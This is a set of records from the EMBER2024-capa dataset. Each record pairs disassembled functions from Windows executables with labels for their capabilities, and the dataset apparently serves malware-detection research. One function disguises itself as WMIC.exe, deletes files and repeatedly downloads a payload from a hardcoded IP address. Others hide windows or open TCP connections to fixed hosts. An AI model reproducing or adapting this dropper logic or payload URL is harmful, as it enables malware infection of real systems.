joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44f348
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4c4083
call fcn.004c34c8
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 4
pop esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.0044ceac
xor ebx, ebx
mov dword [ebp - 0x18], ebx
jmp 0x44f37c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3c], 0xfffffff7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x44f36e
mov dword [ebp - 0x18], ebx
jmp 0x44f396
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x44f386
mov eax, dword [ebp - 0x2c]
add eax, 8
mov dword [eax], ebx
cmp dword [eax], 3
jg 0x44f48b
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x1c], 0x10b4
cmp dword [ebp - 0x1c], 0x13b9
jle 0x44f40c
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 0x122
mov eax, ebx
xor eax, esi
cdq
push edx
push eax
mov ecx, 0xada438
call fcn.0044cd97
add ebx, edi
dec dword [ebp - 0x18]
jne 0x44f3cd
inc edi
cmp edi, 0x6a21
push 0
pop ebx
jl 0x44f3c3
inc esi
cmp esi, 0x3ddd
jl 0x44f3c1
push ebx
push 0x18a2
push ebx
push 0xe9b
call dword [0xadd438]
cmp byte [ebp - 0x11], 0
je 0x44f42d
push 0x1a91
push ebx
push 0x5ff
push 0x1ec1
push 0x1f8b
call dword [0xadd154]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x1c], 0xce9
jge 0x44f448
mov edx, 0xabfb78
mov ecx, 0xada438
call fcn.0044e73d
or dword [ebp - 4], 0xffffffff
jmp 0x44f46e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x44f47e
push ebx
call dword [0xadd2ec]
mov eax, dword [ebp - 0x2c]
add eax, 8
inc dword [eax]
jmp 0x44f3a3
lea ecx, [ebp - 0x2c]
call fcn.0044cf7e
push 0xfc6
push ebx
push ebx
push ebx
push ebx
push 0x12c2
call dword [0xadd3cc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402d95
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40552f], eax
push 0
push dword [ebp + 8]
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Magnetick
push str.Charge_Window_App
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402ddc
xor eax, eax
jmp 0x402df3
push 0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
inc eax
leave
ret

Function at 0x403212
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404490
push 0x403374
push eax
mov eax, dword [0x4055ac]
mov dword fs:[0], esp
mov ecx, dword [sym.imp.CRTDLL.dll__fmode_dll]
sub esp, 0x6c
mov dword [ecx], eax
mov edx, dword [0x4055a8]
mov eax, dword [sym.imp.CRTDLL.dll__commode_dll]
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [eax], edx
call fcn.0040336a
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
push dword [0x4055a4]
push edx
push eax
lea ecx, [ebp - 0x30]
push ecx
call sub.CRTDLL.dll___GetMainArgs
add esp, 0x10
push 0x4040d0
push 0x4040cc
call sub.CRTDLL.dll__initterm
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [sym.imp.CRTDLL.dll__acmdln_dll]
mov esi, dword [eax]
mov al, byte [esi]
cmp al, 0x22
jne 0x4032ad
mov al, byte [ebp - 0x34]
inc esi
mov al, byte [esi]
test al, al
je 0x4032a5
cmp al, 0x22
jne 0x40329a
cmp byte [esi], 0x22
jne 0x4032b7
inc esi
jmp 0x4032b7
cmp al, 0x20
jbe 0x4032b7
inc esi
cmp byte [esi], 0x20
ja 0x4032b1
cmp byte [esi], 0
je 0x4032c7
cmp byte [esi], 0x20
ja 0x4032c7
inc esi
cmp byte [esi], 0
jne 0x4032bc
mov dword [ebp - 0x50], 0
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x50], 1
mov eax, 0xa
je 0x4032e7
movzx eax, word [ebp - 0x4c]
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call sub.CRTDLL.dll_exit
jmp 0x403323
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403d70
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push esi
push edi
push 0
push 0x42ba68
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x42ba68
push 0x104
push 0x42d060
call fcn.00409099
add esp, 0xc
push str._tmp_0.bin
push 0x104
push 0x42d060
call fcn.004090ee
add esp, 0xc
push 0x427e4c
push 0x42d060
call fcn.0040b489
add esp, 8
test eax, eax
je 0x403ddb
push eax
call fcn.0040a720
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 7
call fcn.00403cf0
mov esi, eax
push esi
call fcn.0040862d
add esp, 4
mov edi, eax
push esi
push 0x40
push edi
call fcn.0040dc80
add esp, 0xc
push 0x42d164
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub esp, 0xc
lea ecx, [ebp - 0xa8]
push 0x42d060
call fcn.00401df0
push 0
push esi
push edi
lea ecx, [ebp - 0xa8]
call section..text
lea ecx, [ebp - 0xa4]
call fcn.00402180
test eax, eax
jne 0x403e6c
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0xa8]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x403e5a
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x403e6c
push 0
call fcn.00403af0
push 0x42d164
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push edi
call fcn.00409151
mov eax, dword [ebp - 0xa8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0xac], eax
lea ecx, [ebp - 0xa4]
call fcn.00401510
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xa8], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xac], eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], vtable.std::ios_base.0
call fcn.004085ae
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406150
Capabilities:
Create process on windows
Delete file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov eax, dword [0x42a6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x31f]
push 0
push eax
mov byte [ebp - 0x320], 0
call fcn.0040dc80
add esp, 0xc
lea eax, [ebp - 0x217]
push 0x103
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.0040dc80
add esp, 0xc
lea eax, [ebp - 0x10f]
push 0x103
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.0040dc80
add esp, 0xc
push 2
push 0x42ba68
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x42ba68
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00409099
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x4278a0
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea eax, [ebp - 0x218]
push str.WMIC.exe
push 0x104
push eax
call fcn.004090ee
add esp, 0xc
lea eax, [ebp - 0x320]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x218]
lea ecx, [ebp - 0x320]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x406254
test dl, dl
je 0x406250
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x406254
add ecx, 2
add eax, 2
test dl, dl
jne 0x406234
xor eax, eax
jmp 0x406259
sbb eax, eax
or eax, 1
test eax, eax
je 0x4062ca
lea edx, [ebp - 0x218]
lea ecx, [ebp - 0x320]
call fcn.00407ce0
push 0x40
lea eax, [ebp - 0x374]
push 0
push eax
mov dword [ebp - 0x378], 0x44
call fcn.0040dc80
add esp, 0xc
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x378]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x218]
push eax
push 0
mov dword [ebp - 0x34c], 0x80
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4062ca
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00407900
push 0x42ba68
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.00409099
add esp, 0xc
lea eax, [ebp - 0x110]
push str._backup.exe
push 0x104
push eax
call fcn.004090ee
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
lea ecx, [ecx]
lea eax, [ebp - 0x110]
push 0x427e4c
push eax
call fcn.0040b489
add esp, 8
test eax, eax
je 0x406333
push eax
call fcn.0040a720
add esp, 4
jmp 0x40635b
lea eax, [ebp - 0x110]
push eax
call esi
lea edx, [ebp - 0x110]
mov ecx, str.http:__92.63.100.128_tools_RegWriter.exe.raum_encrypted
call fcn.00405860
test al, al
je 0x40635b
lea ecx, [ebp - 0x110]
call fcn.00404710
lea ecx, [ebp - 0x110]
call fcn.00407a20
test al, al
jne 0x40637c
lea eax, [ebp - 0x110]
push eax
call esi
push 0x2bf20
call edi
jmp 0x406310
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040903f
mov esp, ebp
pop ebp
ret
Function at 0x408720
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [0x498068]
xor eax, esp
mov dword [esp + 0x228], eax
push esi
lea eax, [esp + 0xc]
push eax
push 0x20019
push 0
push str.AllFilesystemObjects_shellexContextMenuHandlersQQShellExt
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40884c
push 0x200
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00452a30
add esp, 0xc
mov dword [esp + 8], 0x1ff
lea eax, [esp + 8]
mov dword [esp + 4], 4
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x4849fc
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40884c
cmp dword [esp + 4], 1
jne 0x40884c
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 7
lea edx, [ecx + 2]
mov word [esp + 0x10], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4087d0
sub ecx, edx
lea eax, [esp + 0x28]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.00401a50
push str.53D2405C_48AB_4C8A_8F59_CE0610F13BBC
lea ecx, [esp + 0x14]
call fcn.00408880
mov edx, dword [esp + 0x24]
movzx esi, al
cmp edx, 8
jb 0x408837
mov ecx, dword [esp + 0x10]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40882d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408861
push edx
push ecx
call fcn.004501a5
add esp, 8
mov eax, esi
pop esi
mov ecx, dword [esp + 0x228]
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x22c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
call fcn.0045559f
int3
Function at 0x4088e0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4728e0
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x498068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 1
call fcn.00401900
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x5c], esp
push 0x12
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x484da0
mov byte [ecx], 0
call fcn.004069a0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.00442050
add esp, 0x18
test al, al
je 0x4089e0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x40]
call fcn.00401920
mov byte [ebp - 4], 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x58]
push dword [ebp - 0x30]
cmovae eax, dword [ebp - 0x40]
push eax
call fcn.00401a50
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00401850
mov dl, 1
lea ecx, [ebp - 0x58]
call fcn.00427e90
test al, al
jne 0x4089e0
lea ecx, [ebp - 0x58]
call fcn.00406940
cmp eax, 0x104
jae 0x4089e0
push 5
push 0
call fcn.00401810
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00401850
mov dword [ebp - 4], 5
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x408a29
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x408a1f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408a5f
push edx
push ecx
call fcn.004501a5
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00450164
mov esp, ebp
pop ebp
ret 4
call fcn.0045559f
int3
Function at 0x412930
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4741a8
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x498068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str._TXQQ0824
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x4129b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4129b7
push 0x40
push 0x487378
push 0x487380
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.ResultCancel
mov byte [ecx], 0
call fcn.004069a0
mov dword [ebp - 4], 0
jmp 0x412a11
push 0x44
push 0x487378
push 0x4873a4
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
sub esp, 0x18
mov dword [ebp - 0x14], esp
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
cmp eax, 6
jne 0x4129fe
push 8
push str.ResultOK
call fcn.004069a0
mov dword [ebp - 4], 1
jmp 0x412a11
push 0xc
push str.ResultCancel
call fcn.004069a0
mov dword [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
push 0xb
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.CheckResult
mov byte [ecx], 0
call fcn.004069a0
mov dword [ebp - 4], 0xffffffff
call fcn.00441ad0
add esp, 0x30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x4176c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474c82
mov eax, dword fs:[0]
push eax
sub esp, 0x44c
mov eax, dword [0x498068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x44c], edi
mov dword [ebp - 0x450], edi
xor eax, eax
mov dword [ebp - 0x454], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 7
mov word [edi], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x430]
push eax
push 0x487e78
mov dword [ebp - 0x454], 1
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
movups xmm0, xmmword [ebp - 0x430]
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x440]
push eax
movups xmmword [ebp - 0x440], xmm0
call dword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
js 0x417789
push dword [ebp - 0x448]
lea eax, [ebp - 0x420]
push str.CLSID_sLocalServer32
push 0x103
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
push dword [ebp - 0x448]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x420]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x4178b1
lea eax, [ebp - 0x458]
mov dword [ebp - 0x44c], 1
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x458], 0x104
push eax
lea eax, [ebp - 0x44c]
push eax
push 0
push 0
push dword [ebp - 0x444]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x444]
test eax, eax
je 0x4177f8
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4178b1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x417807
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.00401a50
cmp dword [edi + 0x14], 8
mov ecx, edi
jb 0x41782f
mov ecx, dword [edi]
push dword [ebp - 0x450]
mov esi, dword [edi + 0x10]
mov edx, esi
push 1
push 0x487ed4
push ecx
call fcn.00417dd0
mov edx, eax
add esp, 0x10
cmp esi, edx
mov ecx, edi
cmovb edx, esi
cmp dword [edi + 0x14], 8
jb 0x41785b
mov ecx, dword [edi]
sub esi, edx
mov dword [edi + 0x10], esi
lea eax, [esi*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.004524b0
add esp, 0xc
mov ecx, edi
cmp dword [edi + 0x14], 8
jb 0x41787f
mov ecx, dword [edi]
push dword [ebp - 0x450]
mov edx, dword [edi + 0x10]
push 1
push 0x487ed4
push ecx
call fcn.00417c60
inc eax
add esp, 0x10
cmp dword [edi + 0x10], eax
jb 0x4178ce
mov dword [edi + 0x10], eax
mov ecx, edi
cmp dword [edi + 0x14], 8
jb 0x4178ab
mov ecx, dword [edi]
xor edx, edx
mov word [ecx + eax*2], dx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00450164
mov esp, ebp
pop ebp
ret
call fcn.004079c0
int3
Function at 0x418790
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x498068]
xor eax, esp
mov dword [esp + 0x194], eax
mov eax, dword [0x49acf8]
test eax, eax
jne 0x41880d
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4187da
xor eax, eax
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
push str.upload_data.qq.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
je 0x418802
movsx eax, word [ecx + 0xa]
push eax
mov eax, dword [ecx + 0xc]
push dword [eax]
push 0x49acf8
call fcn.00451f30
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x49acf8]
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
Function at 0x418820
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2b4
mov eax, dword [0x498068]
xor eax, esp
mov dword [esp + 0x2b0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x20]
mov esi, edx
push eax
push 0x202
mov edi, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4189ad
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4189a7
mov eax, 2
mov word [esp + 0x10], ax
call fcn.00418790
test eax, eax
je 0x41888c
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x418891
mov eax, str.121.14.102.16
push eax
push 0x488288
push 0x40
push 0x49acb8
call fcn.00418770
add esp, 0x10
push 0x49acb8
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1bb
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4189a7
test esi, esi
jle 0x4188f3
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
sub esi, eax
add edi, eax
test esi, esi
jg 0x4188e0
push 0x104
lea eax, [esp + 0x1b4]
push 0
push eax
call fcn.00452a30
add esp, 0xc
lea eax, [esp + 0x1b0]
push 0
push 0x104
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
lea eax, [esp + 0x1b0]
push str.RESULT:
push eax
call fcn.00451660
add esp, 8
test eax, eax
je 0x418981
mov cl, byte [eax + 7]
add eax, 7
cmp cl, 0x20
jne 0x41894f
mov cl, byte [eax + 1]
lea eax, [eax + 1]
cmp cl, 0x20
je 0x418944
xor eax, eax
cmp cl, 0x31
push ebx
sete al
mov dword [esp + 0x10], eax
mov esi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2b0]
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
push ebx
xor esi, esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2b0]
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x2bc]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00450164
mov esp, ebp
pop ebp
ret
Function at 0x418fc0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x498068]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
xor edi, edi
mov dword [ebp - 0x224], eax
push 0x208
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x220], edx
mov ebx, ecx
mov dword [ebp - 0x214], edi
push edi
push eax
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x210], edi
call fcn.00452a30
add esp, 0xc
mov dword [ebp - 0x218], edi
push edi
push ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ebx, eax
test ebx, ebx
je 0x419120
push esi
push ebx
call fcn.004501db
mov esi, eax
add esp, 4
test esi, esi
je 0x41910d
push ebx
push edi
push esi
call fcn.00452a30
add esp, 0xc
push esi
push ebx
push edi
push dword [ebp - 0x21c]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x419104
mov ebx, dword [sym.imp.VERSION.dll_VerQueryValueW]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
push 0x48840c
push esi
call ebx
test eax, eax
je 0x419104
mov ecx, dword [ebp - 0x214]
push dword [ebp - 0x220]
movzx eax, byte [ecx + 2]
push eax
movzx eax, byte [ecx + 3]
push eax
movzx eax, byte [ecx]
push eax
movzx eax, byte [ecx + 1]
push eax
push str.StringFileInfo_02x_02x_02x_02x_s
push 0x208
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004186f0
add esp, 0x24
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call ebx
test eax, eax
je 0x419104
cmp dword [ebp - 0x210], 0x104
ja 0x419104
push dword [ebp - 0x218]
push 0x104
push dword [ebp - 0x224]
call fcn.0045a25f
add esp, 0xc
mov edi, 1
push esi
call fcn.004501d6
add esp, 4
pop esi
mov eax, edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00450164
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.00450164
mov esp, ebp
pop ebp
ret